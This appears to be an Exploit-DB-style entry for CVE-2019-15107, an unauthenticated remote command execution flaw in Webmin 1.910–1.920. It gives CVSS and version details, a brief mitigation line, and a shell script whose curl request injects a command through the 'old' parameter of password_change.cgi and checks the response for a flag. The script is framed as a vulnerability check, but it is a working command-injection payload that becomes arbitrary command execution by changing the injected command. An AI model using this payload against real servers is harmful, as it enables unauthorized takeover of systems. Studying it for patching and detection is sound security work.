CVE-2019-15107 Webmin Unauhenticated Remote Command Execution

vendor:

Webmin

by:

Fernando A. Lagos B. (Zerial)

9.8

CVSS

CRITICAL

Remote Command Execution

CWE

Product Name: Webmin

Affected Version From: 1.910

Affected Version To: 1.920

Patch Exists: YES

Related CWE: CVE-2019-15107

CPE: a:webmin:webmin

Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2019-15107/, https://www.rapid7.com/db/vulnerabilities/http-webmin-cve-2019-15107/

Other Scripts: N/A

Platforms Tested: Linux

2019

CVE-2019-15107 Webmin Unauhenticated Remote Command Execution

This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the vulnerable system. It is based on a Metasploit module and was discovered by Fernando A. Lagos B. (Zerial). The exploit sends a flag by a echo command then grep it. If match, target is vulnerable.

Mitigation:

The user should upgrade to the latest version of Webmin and apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/bin/sh
#
# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
# based on Metasploit module https://www.exploit-db.com/exploits/47230
# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin
#
# Fernando A. Lagos B. (Zerial)
# https://blog.zerial.org
# https://blog.nivel4.com
#
# The script sends a flag by a echo command then grep it. If match, target is vulnerable.
#
# Usage: sh CVE-2019-15107.sh https://target:port
# Example: sh CVE-2019-15107.sh https://localhost:10000
# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!
#

FLAG="f3a0c13c3765137bcde68572707ae5c0"
URI=$1;

echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1

if [ $? -eq 0 ];
then
	echo '\033[0;31mVULNERABLE!\033[0m'
else
	echo '\033[0;32mOK! (target is not vulnerable)\033[0m'
fi
#EOF